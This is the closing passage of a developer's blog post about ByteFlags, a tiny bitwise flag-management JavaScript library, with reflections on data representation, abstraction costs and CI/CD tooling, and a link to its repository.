The complexity of (1 << index) is hidden. The developer just sees flags.enable('Admin').

What I Learned

Building this small library was a reflective process.

Data Representation: It forced me to think about how data actually sits in memory. We get so used to JSON and Objects that we forget the underlying zeros and ones.
The Cost of Abstractions: Every convenience in high-level languages has a cost. Usually, it's worth it, but knowing what you are paying makes you a better engineer.
Tooling: Setting up the CI/CD pipeline, publishing to NPM, and generating documentation took more time than the code itself. "Finished" code is only 20% of a shipping product.

Conclusion

ByteFlags isn't going to replace your database or revolutionize your tech stack. It’s a micro-optimization.

But working on it reminded me that great engineering isn't always about building massive systems. Sometimes, it's about looking at the smallest unit of data—a boolean—and asking, "Why is this the way it is?"

If you are curious about bitwise operations or just want a tiny library to manage states, check out the code. It’s simple, readable, and does exactly one thing.

Repository Link

https://github.com/Soumyaranjan-17/ByteFlag